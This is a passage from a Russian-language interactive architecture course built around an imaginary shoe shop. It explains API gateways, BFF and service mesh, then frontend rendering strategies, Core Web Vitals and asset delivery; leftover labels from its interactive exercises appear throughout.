глава 16 · проверь себя Kafka, RabbitMQ или просто очередь?
Десять ситуаций из жизни «Ботинка» и его соседей. Для каждой выберите, что взять. Решено 0 из 0.
Вопросы по разделу
Решено 0 из 0.
Между телефоном пользователя и сервисами обычно стоит кто-то ещё. Балансировщик раскидывает поток по копиям. Шлюз — одна дверь снаружи. BFF собирает данные под конкретное приложение. Сетка берёт на себя связь внутри. Их часто путают и сваливают в одно, а потом получают узкое место, которое знает про всё на свете. Разберём по порядку, как и зачем каждый из них появляется.
карта раздела одна история в десяти главах
Раздел рассказывает одну историю: приложение магазина растёт, и на каждом шаге роста появляется новая проблема. Под каждую проблему появляется свой посредник. Читайте по порядку или прыгайте к нужной главе.
глава 1 · коротко четыре посредника в одном бизнес-центре
Представьте большой бизнес-центр. В нём много офисов, и в каждом работает своя компания: одна принимает заказы, другая возит посылки, третья принимает оплату. Гости приходят снаружи, а сотрудники офисов постоянно носят друг другу бумаги. Система из микросервисов устроена так же: офисы — это сервисы, гости — мобильное приложение, сайт и партнёры.
Чтобы в таком здании был порядок, нужны четыре службы. Вот каждая одной-двумя фразами.
⚖ Балансировщик
Что это: распределитель потока между одинаковыми копиями одного и того же. Не смотрит, кто пришёл и зачем, решает только «к какой копии».
🛎 Шлюз (API Gateway)
Что это: единственная входная дверь в систему снаружи. Проверяет, кто пришёл, не слишком ли часто, и направляет к нужному сервису.
🧑💼 BFF (Backend for Frontend)
Что это: отдельный маленький сервер под один тип клиента. Сам обходит нужные сервисы и отдаёт клиенту ровно то, что нужно его экрану.
📦 Сервисная сетка (service mesh)
Что это: общая служба связи между сервисами. Рядом с каждым сервисом запускают маленькую программу-посредника — sidecar («коляска мотоцикла»). Все звонки сервиса незаметно для его кода идут через неё, и она сама шифрует, повторяет и записывает каждый вызов. Подробно — в главе 6.
Сквозной пример: Анна открывает свой заказ
Анна в метро открывает мобильное приложение магазина и нажимает на заказ №77. Экран должен показать товары, срок доставки и статус оплаты. Эти данные лежат в трёх разных сервисах. Нажимайте «Дальше» и смотрите, через кого проходит запрос, что каждый с ним делает и зачем.
глава 2 · начало истории один сервер и очередь к нему
Магазин начинался просто: одно приложение на одном сервере. Телефон Анны знал ровно один адрес, и всё — вход, заказы, оплата — жило внутри одной программы. Проверка пропуска, лимиты и журналы были написаны один раз, потому что и программа была одна.
Потом пришла распродажа, и один сервер перестал справляться. Первое решение — поставить несколько одинаковых копий и распорядителя перед ними. Этот распорядитель и есть балансировщик: он принимает поток и раздаёт его по копиям, пропуская те, что сейчас не отвечают.
Как в холле бизнес-центра: три одинаковые кассы и человек у входа, который говорит «вам в первую, вам во вторую». Попробуйте сами: запустите гостей, потом «сломайте» одну кассу.
глава 3 · рост сервисов стало восемь, и клиенты ходят к каждому напрямую
Прошло два года. Одну большую программу разрезали на сервисы: заказы, каталог, склад, доставка, платежи, отзывы, профиль, скидки. Каждым занимается своя команда. А клиенты — мобильное приложение, сайт и партнёры — по привычке ходят к каждому сервису напрямую.
Переключайте размер системы и смотрите, что приходится знать клиентам и сколько раз одно и то же написано в сервисах. Потом устройте системе пару обычных неприятностей.
глава 4 · шлюз появляется ресепшен: API Gateway
Определение. API-шлюз (API Gateway) — единственная публичная точка входа в систему. Все внешние запросы приходят в него, а он проверяет их и отправляет к нужному сервису. Клиент знает один адрес, api.shop.ru, и больше ничего.
В бизнес-центре это ресепшен. Гость не бродит по этажам в поисках нужного офиса: он подходит к стойке, показывает пропуск, и ему говорят «вам на пятый». Если гость пришёл в двадцатый раз за час с одним и тем же вопросом, его вежливо просят подождать.
Что шлюз должен и чего не должен
Должен
- Снимать шифрование TLS и быть единственной публичной точкой входа.
- Проверять токен (подписанный «пропуск» пользователя) и передавать внутрь проверенную личность.
- Ограничивать частоту запросов и размер тела.
- Направлять запрос по пути и версии.
- Приводить ошибки к единому формату и прятать внутренние детали.
- Проставлять сквозной идентификатор запроса.
Не должен
- Содержать бизнес-логику и правила предметной области.
- Ходить в базы сервисов.
- Собирать ответы из пяти сервисов «на лету» — это работа BFF.
- Знать про особенности конкретных клиентов.
- Быть местом, где «удобно быстро дописать». Так рождается монолит на входе, который правят все команды.
Под лупой: путь запроса до шлюза и через него
В первой главе мы прошли путь крупно. Теперь посмотрим подробнее на первую половину: как запрос находит здание (DNS), проходит двери (балансировщик уровня L4 — видит только адреса и порты), снимает «конверт» TLS и что происходит на ресепшене.
Пять слов, которые шлюз делает за всех
TLS, аутентификация, авторизация, лимиты, журналы. Их обычно проговаривают скороговоркой. Разберём каждое до конца: что это, зачем, как выглядит в жизни и где ошибаются.
Что именно делают на шлюзе — с настройками и кодом
Шлюз — это не «просто прокси». Это место, где живёт десяток конкретных приёмов. Нажмите на любой: что делает, зачем, как настраивается и где грабли.
глава 5 · bff разным клиентам — разные ответы
Шлюз навёл порядок на входе. Но появилась новая беда. Экран заказа в мобильном приложении показывает шесть полей, а на сайте — тридцать. Партнёру нужен строгий, неизменный формат. Часы показывают одну строчку. А сервисы отдают всем одно и то же: полный заказ на сорок полей. Мобильное приложение делает три запроса по медленной сети и само склеивает экран.
Определение. BFF (Backend for Frontend, «бэкенд для фронтенда») — отдельный небольшой сервер под один тип клиента. Он сам обходит нужные сервисы, параллельно и по быстрой внутренней сети, и отдаёт клиенту ровно тот ответ, который нужен его экрану. У мобильного свой BFF, у веба свой.
В бизнес-центре это личный помощник. Занятому гостю с телефоном он приносит выжимку на полстраницы. Аналитику из головного офиса — подробную папку. Сами офисы при этом ничего не переделывают.
Плюсы и минусы BFF
глава 6 · сетка внутри тоже непросто: сервисная сетка
Снаружи порядок: шлюз и BFF. Но BFF и сервисы постоянно вызывают друг друга, и у каждого такого вызова одни и те же вопросы. Сколько ждать ответа? Повторять ли, если не ответили? Шифровать ли соединение? Как передать идентификатор запроса дальше? Каждая команда отвечает на них по-своему, на своём языке программирования.
Чтобы понять сетку, сначала надо понять её главную деталь — sidecar.
Что такое sidecar
Как это выглядит изнутри. Код Заказов думает, что звонит напрямую в payments:8080. На самом деле правило сетевого фильтра Linux (iptables) незаметно разворачивает звонок на localhost:15001 — в собственный sidecar Заказов. Тот сам шифрует соединение, ставит таймаут, при сбое повторяет, записывает метрики и уже потом доставляет запрос. На другой стороне звонок принимает sidecar Платежей и отдаёт его коду Платежей тоже по localhost.
🏍 Из жизни
Мотоцикл с коляской: мотоцикл едет сам, а в коляске сидит штурман, который читает карту и следит за дорогой. Или в бизнес-центре: у каждого офиса свой секретарь-курьер. Все письма офиса — и входящие, и исходящие — идут через него. Сотрудник пишет «в бухгалтерию», а курьер сам запечатывает конверт, проверяет, от кого пришло письмо, повторяет доставку и ведёт журнал.
❓ Зачем он нужен
Без sidecar каждый сервис сам в коде реализует шифрование TLS, повторы, таймауты, размыкатель цепи и трассировку. На пяти языках — пятью способами, с разными ошибками. Чтобы поменять таймаут, надо пересобрать и выкатить сервис.
С sidecar всё это делает одна и та же программа рядом с каждым сервисом. Настраивается она из одного места (об этом ниже), а правила меняются без пересборки кода.
Интерактив: один звонок изнутри
Сервис Заказов вызывает сервис Платежей. Выберите режим и сценарий и нажимайте «Дальше»: конверт с запросом поедет по схеме, а под ней видно, что происходит на каждом шаге. Справа от схемы — какой код для этого написан в сервисе и что лежит в настройках sidecar.
Пройдено сценариев до конца: 0 из 4.
Теперь — сетка целиком
Определение. Сервисная сетка (service mesh) — это все sidecar-ы рядом со всеми сервисами плюс «диспетчерская», которая раздаёт им одинаковые правила. Вместе они берут на себя связь между сервисами, а код сервисов об этом не знает.
В бизнес-центре это внутренняя курьерская служба. У каждого офиса свой курьер. Сотрудник просто отдаёт ему бумагу: «в бухгалтерию». Курьер сам запечатывает конверт, ждёт не дольше положенного, при неудаче приходит ещё раз и записывает каждую доставку в журнал. Правила для всех курьеров одни.
Как сетка устроена внутри
Плоскость данных (data plane)
Простыми словами: все sidecar-ы, которые реально носят трафик. Это сами прокси рядом с каждым экземпляром, чаще всего Envoy. Они перехватывают входящий и исходящий трафик и делают всю работу: mTLS (взаимное шифрование, где обе стороны предъявляют сертификат), повторы, таймауты, размыкание цепи (circuit breaker — перестать звонить тому, кто всё равно не отвечает), балансировку, метрики и трассировку. В коде сервиса — ни строчки.
Плоскость управления (control plane)
Простыми словами: диспетчерская, которая раздаёт всем sidecar-ам настройки и сертификаты. Сама трафик не носит. Примеры: Istio, Linkerd. Вы пишете правило один раз — она рассылает его всем прокси. Политика «сервис A может ходить в B, но не в C» описывается декларативно, то есть одним файлом-описанием, и применяется ко всем сразу.
глава 7 · сравнение кто есть кто: один запрос, четыре роли
Вот все четыре посредника вместе. Возьмём тот же запрос — Анна открывает экран заказа — и посмотрим, кто на каком шаге работает. Выберите посредника: на схеме подсветится, где он стоит, а в списке — какие шаги его.
Таблица сравнения
Нажмите на строку, чтобы раскрыть пояснение.
Три мира: без шлюза, со шлюзом и BFF, плюс сетка
Тот же запрос в виде диаграммы последовательности — в трёх системах. Переключайте мир и проходите по стрелкам: видно, кто какую работу делает и что случится, если этого слоя нет.
глава 8 · что если убрать выключите посредника — и посмотрите, что вернётся
Лучший способ понять, зачем нужна деталь, — вынуть её. Нажимайте на посредников, чтобы выключить или включить. Справа — проблемы, которые возвращаются, и то, что честно становится лучше: минус один слой всегда что-то экономит.
Что возвращается
Что становится проще
Выключено по разу: 0 из 4.
А что нужно именно вам
Не обязательно иметь всех четырёх. Ответьте на три вопроса про свою систему — получите минимальный разумный набор.
глава 9 · нотация как нарисовать «кто где стоит»
Всё, что разобрано выше, рано или поздно надо изобразить. Для этого есть компонентная диаграмма — структурная диаграмма UML: она показывает компоненты системы и их зависимости. Шесть элементов покрывают почти любую схему; ниже — как они пишутся в PlantUML.
| Элемент | Что означает | PlantUML |
|---|---|---|
| Компонент | Строительный блок: сервис, модуль, приложение | [Payment Service] либо component [Web Service] |
| Актор | Внешний участник: человек либо чужая система, которая начинает процесс | actor "Пользователь" as User |
| Интерфейс | Точка взаимодействия: API, пользовательский интерфейс | () "Web API" as API |
| База данных | Хранилище со своей иконкой-цилиндром | database "Основная БД" as MainDB |
| Очередь | Брокер сообщений — асинхронный обмен между сервисами | queue "Заказы" as OrderQueue |
| Package | Группировка связанных компонентов в логический блок | package "Микросервисы" { ... } |
actor "Анна" as U
() "API Gateway" as GW
[BFF мобильного] as BFF
package "Микросервисы (в сетке)" {
[Сервис заказов]
[Сервис доставки]
[Сервис платежей]
}
queue "order-events" as OE
database "orders" as ODB
U --> GW
GW --> BFF
BFF --> [Сервис заказов]
BFF --> [Сервис доставки]
BFF --> [Сервис платежей]
[Сервис заказов] --> ODB
[Сервис заказов] --> OE
OE --> [Сервис платежей]
глава 10 · проверьте себя кто за что отвечает
Разложите обязанности по слоям. Разбор объясняет, почему именно там и что ломается, если положить не туда.
Разложено 0 из 0.
глава 10 · задачи шлюзы и посредники
Решено 0 из 0.
Фронтенд — это та часть системы, которую покупатель держит в руках. Сервер может отвечать за 50 миллисекунд, а Анна в автобусе всё равно смотрит на белый экран шесть секунд — потому что всё остальное время её телефон скачивает, разбирает и выполняет код. Весь раздел — одна история «Ботинка»: у магазина есть сайт, мобильное приложение и админка склада; сайт тормозит на телефонах, а команда фронтенда выросла с пяти человек до четырёх команд. Пройдём путь от адреса до пикселей, выберем способ отрисовки, уложимся в бюджет, разрежем интерфейс между командами, научим его работать без сети, защитим, выпустим — и в конце аналитик Олег напишет требования, которые можно проверить.
зачем это зачем аналитику и архитектору понимать фронтенд
карта раздела одна история, шестнадцать глав
Читайте по порядку: каждая глава опирается на предыдущую. Самые «живые» главы — 2, 4, 6, 7, 11 и 12: там можно переключать режимы, двигать ползунки и ломать. Про шлюзы и BFF со стороны сервера — в разделе , про сеть — в . Здесь мы смотрим на то же самое глазами браузера. Кнопка переносит к главе.
глава 1 · завязка «на телефоне всё тормозит»: что вообще делает фронтенд
Пятница. Аналитик Олег разбирает отзывы покупателей «Ботинка». Три жалобы повторяются чаще других: «карточка товара на телефоне открывается вечность», «нажимаю размер — ничего не происходит», «пока читала описание, кнопка прыгнула вниз, и я нажала на баннер». Разработчик Борис открывает ту же карточку на своём ноутбуке в офисе: 0,8 секунды. «У меня всё летает». Ведущая фронтенд-разработчица Вера молча открывает статистику: у трёх четвертей покупателей — телефон, у половины из них — недорогой.
Кто прав? Оба. Чтобы понять почему, начнём с самых основ.
HTML — что на странице
Разметка: заголовок, картинка, цена, кнопка «В корзину». Это содержание и его структура.
CSS — как выглядит
Оформление: цвета, шрифты, отступы, раскладка на телефоне и на компьютере. Без CSS страница — чёрный текст на белом фоне в один столбик.
JavaScript — что делает
Поведение: что случится при нажатии, как обновится корзина, как подгрузятся отзывы. На JavaScript пишут и целые приложения, которые рисуют страницу сами.
Главная аналогия раздела: сборка шкафа
Страница приходит к Анне как шкаф из мебельного магазина. Есть инструкция (HTML), краска и фурнитура (CSS), моторчик для выдвижных ящиков (JavaScript) и сами детали — фотографии и данные о товаре. Всё решает, что приезжает первым и кто собирает:
Инструкция раньше деталей
Привезли инструкцию, а детали едут отдельной машиной. Можно разложить коробки, но шкаф не собрать. Так работает отрисовка в браузере (CSR): сначала приходит код, потом он сам идёт за данными.
Инструкция вместе с деталями
Всё в одной коробке. Собирать можно сразу. Так работает многостраничный сайт: сервер присылает готовую страницу с текстом и ссылками на картинки.
Шкаф привозят собранным
Его сразу видно и можно поставить вещи. Но моторчик ящиков подключат через полчаса: до этого ящики не выдвигаются. Так работает серверная отрисовка с гидрацией (SSR) — об этой ловушке вся глава 4.
Что сейчас происходит у Анны
Сайт «Ботинка» сделан четыре года назад как одностраничное приложение (SPA): сервер присылает почти пустой HTML и большой JavaScript, а страницу рисует уже телефон. Пройдите по шагам, что видит Анна в автобусе на 4G.
У «Ботинка» три фронтенда — и требования к ним разные
| Фронтенд | Кто пользуется | Что важно | Что не важно |
|---|---|---|---|
| Сайт | Покупатели, 75 % — с телефонов, часто на мобильной сети | Первый показ, поисковики и превью ссылок, работа на слабых телефонах | Сложные таблицы и графики |
| Мобильное приложение | Постоянные покупатели, iOS и Android | Работа без сети, уведомления, вход по отпечатку | Поисковики: приложение в них не попадает |
| Админка склада | 40 сотрудников на ноутбуках в офисе | Большие таблицы, быстрые действия, клавиатура | Поисковики, первый показ за доли секунды, слабые устройства |
- «Карточка товара: самый крупный элемент первого экрана отрисован не позже чем за 2,5 с для 75 % визитов с мобильных устройств — по данным реальных пользователей» (это метрика LCP, глава 5).
- «Админка склада: поддерживаются последние две версии Chrome и Яндекс Браузера на ноутбуках; требований к поисковой оптимизации нет».
глава 2 · путь отрисовки от адреса до пикселей: что делает браузер и что ему мешает
Анна нажала на ссылку. Как найти сервер и установить соединение, разобрано в разделе . Здесь начинаем с момента, когда первые байты HTML уже летят к телефону. Дальше браузер проходит одну и ту же цепочку шагов. Её называют критическим путём.
defer) останавливает всю сборку, даже если мастер нужен только для одного ящика.DOM
Дерево элементов из HTML. Браузер строит его потоково: разбирает HTML кусками, по мере прихода байтов, не дожидаясь конца файла.
CSSOM
CSS object model — дерево правил оформления. Строится только из целого файла стилей: последнее правило может переопределить первое.
Дерево отрисовки
Render tree — DOM плюс CSSOM, но только видимые элементы. Скрытое через display:none в него не попадает.
Раскладка
Layout (в Firefox — reflow): точные размеры и координаты каждого элемента под ширину экрана.
Отрисовка
Paint: пиксели — текст, цвета, рамки, картинки. Рисуется по слоям.
Склейка слоёв
Composite: слои складываются в итоговый кадр, обычно силами видеокарты. Анимации через transform трогают только этот шаг — поэтому они плавные.
Кто блокирует экран
CSS блокирует отрисовку
Пока не скачан и не разобран каждый файл стилей из <head>, браузер не рисует ничего. Иначе Анна на миг увидела бы страницу без оформления, а потом она бы «перепрыгнула». Поэтому стили — render-blocking: блокирующие отрисовку.
Обычный скрипт блокирует разбор
<script src> без атрибутов останавливает разбор HTML: браузер обязан скачать и выполнить скрипт сразу, ведь тот может поменять страницу. Скрипт ещё и ждёт стили — вдруг он спросит размеры элементов. Это parser-blocking: блокирующий разбор.
defer
Скачать параллельно, выполнить после разбора всего HTML, по порядку. Выбор по умолчанию для своих скриптов. Скрипты-модули (type="module") ведут себя так же.
async
Скачать параллельно, выполнить, как только скачался, в любом порядке. Для независимых скриптов: аналитика, пиксели рекламы.
Предзагрузчик
Preload scanner: пока основной разбор стоит, отдельный «разведчик» заглядывает вперёд по HTML и заранее запрашивает картинки, стили и скрипты. Поэтому то, что написано в HTML, находится быстро, а то, что создаёт JavaScript, — поздно.
Проигрыватель: карточка товара на телефоне Анны
Выберите сценарий и идите по шагам. Слева — экран Анны, в центре — какой шаг пути сейчас работает (красное — заблокировано), справа — какая строчка HTML разбирается. Время — от нажатия на ссылку, телефон Анны на 4G.
defer. Потом текст невидим — ждём шрифт. Потом фото без размеров сдвигает кнопку. Во втором — те же байты, но в другом порядке: страница видна через 0,45 с, ничего не прыгает.defer, главная картинка — с высоким приоритетом и размерами, шрифт — с запасным вариантом.глава 3 · способы отрисовки кто и когда собирает страницу: девять способов
Главный архитектурный вопрос фронтенда звучит так: где и когда HTML превращается из данных в разметку? На сервере при каждом запросе, на сервере заранее, в браузере — или понемногу везде. От ответа зависят первый показ, поисковики, нагрузка на сервер и сложность. Разберём девять способов от старого к новому. Почти все они живут в современных фреймворках: Next.js, Nuxt, SvelteKit, Astro, Angular и других.
1. MPA multi-page application
Многостраничный сайт: каждый переход — новый запрос, сервер собирает HTML по шаблону (PHP, Java, Python, .NET), браузер рисует. JavaScript — немного, для мелочей.
ресторан с комплексными обедами: каждое блюдо приносят готовым на новой тарелке.
Плюсы: полный HTML сразу, отлично для поисковиков, мало кода в телефоне, формы работают даже без JavaScript. Минусы: каждый переход — перезагрузка страницы, богатые интерактивные экраны собирать трудно. Когда: контентные сайты, каталоги, госуслуги, магазины с простым интерфейсом.
2. SPA и CSR client-side rendering
Одностраничное приложение: сервер отдаёт почти пустой HTML и большой JavaScript. Страницу рисует браузер, данные идут по API. Переходы — без перезагрузки: код меняет DOM и адрес в строке.
шкаф с инструкцией, но детали едут отдельной машиной: сначала код, потом он сам идёт за данными.
Плюсы: быстрые переходы после загрузки, богатый интерфейс, сервер отдаёт только данные и статику. Минусы: пустой HTML для поисковиков и превью ссылок, долгий первый показ на слабом телефоне, весь код — в телефоне. Когда: за логином: личный кабинет, админки, редакторы, внутренние системы.
3. SSR + гидрация server-side rendering
Те же компоненты, что в SPA, но первый HTML собирает сервер — на каждый запрос, с данными. Браузер показывает его сразу, потом скачивает JavaScript и гидрирует. Дальше работает как SPA.
шкаф привозят собранным, электрик для ящиков едет следом.
Плюсы: быстрый первый показ, полный HTML для поисковиков, свежие данные. Минусы: нужен сервер с Node.js и нагрузка на каждый запрос, двойная работа (отрисовка на сервере и гидрация в браузере), «мёртвая зона» до конца гидрации, сервер ждёт самые медленные данные. Когда: публичные страницы с личным или часто меняющимся содержимым и важным SEO.
4. SSG static site generation
Страницы собираются заранее, при сборке проекта, и лежат готовыми HTML-файлами на CDN. Сервер на каждый запрос не нужен.
шкафы собраны на складе заранее и стоят в зале — бери и неси.
Плюсы: самый быстрый ответ, почти бесплатная раздача, нечему падать. Минусы: данные — на момент сборки; 50 000 карточек собираются долго; цену и остаток всё равно догружает браузер. Когда: документация, справка, блог, лендинги акций.
5. ISR и stale-while-revalidate incremental static regeneration
Как SSG, но готовая страница обновляется сама: у неё есть срок свежести. Первый запрос после истечения срока получает старую страницу, а в фоне собирается новая. ISR — термин Next.js; то же даёт заголовок HTTP Cache-Control: s-maxage=60, stale-while-revalidate=600 на CDN (RFC 5861).
витрина булочной: выставили утренний хлеб; когда партия «устарела», продавец продаёт пока что есть, а пекарь в это время печёт новую.
Плюсы: скорость SSG и почти свежие данные, не надо пересобирать весь сайт. Можно обновить страницу по событию — например, когда товаровед поменял цену. Минусы: кто-то увидит устаревшее, логика кеша сложнее. Когда: карточки товаров, каталог, новости.
6. Стриминг SSR streaming
Сервер не ждёт всех данных. Сразу отправляет «скелет» страницы с шапкой, а медленные блоки дописывает в тот же ответ, когда они готовы. В React это делается через <Suspense>: вместо медленного блока сначала приходит заглушка.
официант сразу приносит хлеб и салат, а горячее — когда оно готово, не держа весь стол голодным.
Плюсы: первый байт и первый показ не ждут медленные рекомендации; гидрация идёт по блокам. Минусы: код ответа и заголовки уходят в самом начале — потом не сделать 404 или редирект; посредник с буферизацией может «склеить» поток; сложнее отладка. Когда: SSR-страницы, где есть быстрые и медленные блоки.
7. Островная архитектура islands, Astro
Страница — статический HTML, а интерактивны только отдельные «острова»: галерея, кнопка корзины, калькулятор размера. Каждый остров гидрируется сам и только когда нужно: в Astro — client:load, client:idle, client:visible. С Astro 5 есть и серверные острова (server:defer): страница из кеша, а личный блок дорисует сервер.
в музее все экспонаты за стеклом, и только у пары стендов есть кнопки «нажми меня». Электричество нужно только им.
Плюсы: очень мало JavaScript, отличный первый показ. Минусы: острова плохо делят общее состояние, для приложения с множеством связанных экранов неудобно. Когда: контентные сайты, блоги, маркетинговые страницы.
8. React Server Components RSC
Компоненты делятся на серверные и клиентские. Серверные выполняются только на сервере: могут читать базу и API, а их код не попадает в браузер. Клиентские помечаются директивой "use client" — только они гидрируются. Стабильны в React 19 (декабрь 2024), основная реализация — App Router в Next.js. В Next.js 16 (октябрь 2025) к ним добавили явное кеширование директивой "use cache".
шкаф собран на складе, а электрик приезжает только к двум выдвижным ящикам, а не проверяет каждую полку.
Плюсы: меньше JavaScript в телефоне, данные берутся рядом с базой, стриминг из коробки. Минусы: новая модель мышления (что где выполняется), привязка к фреймворку, нужен Node.js-сервер, сложнее кеширование и отладка. Когда: новые проекты на React с публичными страницами и богатыми данными.
9. Edge-рендеринг на краю сети
SSR выполняется не в одном дата-центре, а на узлах CDN рядом с пользователем (Cloudflare Workers и аналоги у других облаков и хостингов). Окружение урезанное: стандартные веб-API вместо полного Node.js, лимиты на время и память.
пункт выдачи у дома, где заказ доукомплектуют перед выдачей: быстро, если всё нужное лежит там же.
Плюсы: короткий круг до пользователя: проверка входа, редиректы, A/B-тесты и персонализация по городу. Минусы: база данных обычно в одном регионе — каждый запрос с края к базе в Москве идёт через всю страну, и несколько таких запросов подряд выходят медленнее, чем отрисовка рядом с базой. Когда: лёгкая логика без тяжёлых данных; рисовать лучше там, где лежат данные.
Девять способов одной таблицей
Нажмите на строку, чтобы раскрыть подробности.
Тренажёр: какой способ для какой страницы
Один сайт почти никогда не живёт на одном способе. Современные фреймворки позволяют выбирать способ для каждой страницы. Разложите страницы «Ботинка».
Решено 0 из 0.
глава 4 · главный пульт гонка отрисовки: одна карточка товара, семь способов
Хватит теории. Вот одна и та же карточка кроссовок «Бег-42», собранная семью способами. Нажмите «▶ Старт гонки» — и все семь поедут одновременно, как в DevTools, только наглядно. Цвет полосы — что видит Анна. Штриховка — страница видна, но кнопки не работают. Зелёная черта снизу — кнопки ожили.
Меняйте устройство и сеть, включайте и выключайте CDN. Нажмите на строку, чтобы разобрать режим: ниже появятся дорожки «как в DevTools», экран Анны в выбранный момент, итоговые числа и объяснение, почему так вышло.
Разбор режима
1. Медленный телефон: сравните SSR и SSG. Фото появляется рано у обоих, а штриховка («видно, но не нажимается») тянется секундами — это и есть ловушка гидрации из жалобы «нажимаю размер — ничего».
2. Тот же профиль: CSR. Белого и серого почти до шестой секунды: телефон сначала качает и выполняет код, и только потом идёт за данными.
3. Переключите на ноутбук. Все режимы финишируют за секунду — вот почему у Бориса «всё летает».
4. Выключите CDN. Сильнее всех пострадают те, кто отдавал готовое: SSG и ISR.
5. Сравните «Стриминг» и «Server Components»: стриминг ускоряет показ, но не уменьшает код. RSC уменьшает код — и вместе с ним мёртвую зону.
- «Карточка товара, каталог и поиск отдаются с сервера полным HTML (SSR, SSG или ISR): заголовок, цена, описание и ссылки видны роботам без выполнения JavaScript».
- «На эталонном профиле “медленный телефон” (Lighthouse, мобильный режим) LCP ≤ 2,5 с, Total Blocking Time ≤ 200 мс; на реальных пользователях — LCP ≤ 2,5 с и INP ≤ 200 мс для 75 % визитов».
глава 5 · Core Web Vitals три числа, которыми меряют «быстро» глазами человека
«Страница грузится быстро» — не требование: непонятно, что мерить и у кого. Google предложил три метрики, которые описывают ощущения человека, а не работу сервера. Их называют Core Web Vitals — «основные показатели качества страницы». Их видно в Chrome DevTools, в Lighthouse и в Search Console, а Google учитывает их в ранжировании поиска как один из сигналов удобства страницы.
75-й перцентиль
Оценивают не среднее, а значение, в которое укладываются 75 % визитов, отдельно для телефонов и компьютеров. Страница «проходит», когда все три метрики хороши у трёх четвертей посещений.
Полевые и лабораторные
Полевые данные — с реальных людей (RUM, публичный отчёт Chrome UX Report). Лабораторные — прогон в Lighthouse на эмулированном телефоне. Лаборатория ловит регрессии до выпуска, но правду говорит только поле. INP в лаборатории не измерить — там смотрят на Total Blocking Time.
Вспомогательные метрики
TTFB — время до первого байта ответа (хорошо — до 0,8 с). FCP — первая отрисовка хоть чего-то (хорошо — до 1,8 с). Они не входят в тройку, но объясняют, почему плох LCP.
INP складывается из трёх частей: задержка ввода (нажатие ждёт, пока главный поток освободится) + обработка (выполняется код обработчика) + задержка показа (браузер пересчитывает раскладку и рисует кадр). Чаще всего проигрывают на первой части.
Попробуйте: сдвиг вёрстки (CLS)
Анна открывает карточку и тянется пальцем к кнопке «Купить». Через 0,6 с прилетает рекламный баннер и встаёт над кнопкой. Нажмите «▶ Открыть страницу». Потом зарезервируйте место под баннер и повторите.
Попробуйте: долгая задача и INP
На странице каталога после выбора фильтра скрипт пересчитывает и перерисовывает список: 600 мс работы главного потока на телефоне Анны. Пока он работает, Анна нажимает «В корзину» у товара. Нажмите кнопку в любой момент «прогона» — и посмотрите, сколько нажатие ждёт. Потом разбейте задачу на части.
await scheduler.yield() (есть в Chromium-браузерах и Firefox, в Safari пока нет; запасной вариант — await new Promise(r => setTimeout(r, 0))). Тяжёлые вычисления уносят в фоновый поток (Web Worker). В React то же дают переходы: startTransition помечает перерисовку как несрочную, и нажатие её прерывает.Что улучшает каждую метрику
| Метрика | Частые причины | Что делать |
|---|---|---|
| LCP | Долгий ответ сервера; блокирующие стили и скрипты; главное фото находит только JavaScript; фото огромное или помечено «лениво» | CDN и кеш (раздел ); SSR/SSG; критичный CSS в HTML; у главного фото fetchpriority="high" и никакого loading="lazy"; AVIF/WebP нужного размера |
| INP | Долгие задачи: гидрация, большие списки, тяжёлые обработчики, сторонние скрипты | Меньше JavaScript (главы 3 и 6); резать задачи и уступать поток; виртуализация длинных списков; сторонние скрипты — с async и позже |
| CLS | Картинки и встраивания без размеров; баннеры, вставляемые сверху; подмена шрифта | width/height или aspect-ratio; резервировать место; не вставлять содержимое над тем, что уже видно; анимации — через transform; запасной шрифт подобрать по размеру |
- «Для страниц каталога, карточки и корзины на мобильных устройствах по данным RUM за 28 дней: LCP ≤ 2,5 с, INP ≤ 200 мс, CLS ≤ 0,1 на 75-м перцентиле. Нарушение двух недель подряд — дефект с приоритетом “высокий”».
- «Рекламные и баннерные места имеют фиксированный размер в макете; вставка содержимого над первым экраном после загрузки запрещена».
глава 6 · вес и доставка бандл, разделение кода, картинки, CDN и кеш
Вера открывает отчёт сборки: на первую страницу сайта уходит 700 КБ сжатого JavaScript. Там есть библиотека дат со всеми языками мира, графики, которые нужны только во вкладке «Отзывы», редактор отзывов, которым пользуется один покупатель из ста, и виджет чата. Всё это скачивается и выполняется у каждого, кто просто смотрит кроссовки.
Разделение кода (code splitting)
Сборщик режет бандл на куски (chunks). Каждой странице — только её код: каталог не качает код личного кабинета. Делается через динамический import() — обычно по маршрутам.
Ленивая загрузка (lazy loading)
Тяжёлый блок грузится, только когда он нужен: графики — при открытии вкладки «Отзывы», редактор — по кнопке «Написать отзыв», чат — по нажатию на значок. Для картинок ниже первого экрана — loading="lazy".
Удаление мёртвого кода (tree shaking)
Сборщик выбрасывает функции библиотек, которые никто не импортирует. Работает с ES-модулями: import { debounce } from 'lodash-es' — да, «весь lodash одним объектом» — нет.
Сжатие
Сервер или CDN сжимает текстовые файлы: gzip — везде, Brotli — обычно на 15–20 % меньше gzip для JavaScript и CSS, в Chromium и Firefox есть ещё zstd. Сжатие уменьшает дорогу по сети, но не работу процессора: разбирать всё равно несжатое.
Калькулятор бюджета: соберите первую страницу «Ботинка»
Команда Веры договорилась о бюджете производительности: не больше 170 КБ сжатого JavaScript на первую страницу. Включайте и выключайте библиотеки и приёмы и смотрите, сколько поедет по сети и сколько будет работать процессор.
Картинки, шрифты и подсказки браузеру
Картинки
Современные форматы AVIF и WebP заметно легче JPEG при том же качестве (AVIF — нередко вдвое). srcset и sizes — телефону маленькую версию, ноутбуку большую. Всегда width и height — против сдвигов. У главного фото — fetchpriority="high", у остальных ниже первого экрана — loading="lazy". Нарезку обычно делает CDN «на лету».
Шрифты
Формат WOFF2, только нужные символы (кириллица и латиница, а не все языки мира), font-display: swap — показать текст системным шрифтом, пока качается фирменный. Иначе браузер может прятать текст до трёх секунд.
Подсказки: preload и preconnect
<link rel="preconnect"> — заранее открыть соединение с CDN картинок. <link rel="preload"> — скачать важный файл, который браузер иначе нашёл бы поздно (фото, которое ставит JavaScript, шрифт). modulepreload — то же для модулей. Ответ сервера 103 Early Hints позволяет начать эти загрузки, пока сервер ещё собирает HTML.
Предзагрузка следующей страницы
<link rel="prefetch"> скачивает то, что понадобится на следующей странице, в свободное время. В Chromium-браузерах есть Speculation Rules API: страницу можно даже заранее отрисовать в фоне, и переход станет мгновенным. Фреймворки сами предзагружают ссылки, попавшие в экран.
CDN и кеш браузера: хеш в имени файла
Статика — скрипты, стили, картинки — раздаётся с CDN (подробно — в разделе , глава о посредниках). Главный трюк: сборщик добавляет в имя файла отпечаток содержимого (хеш). Поменялся код — поменялось имя. Значит, файл с конкретным именем никогда не меняется, и его можно кешировать навсегда.
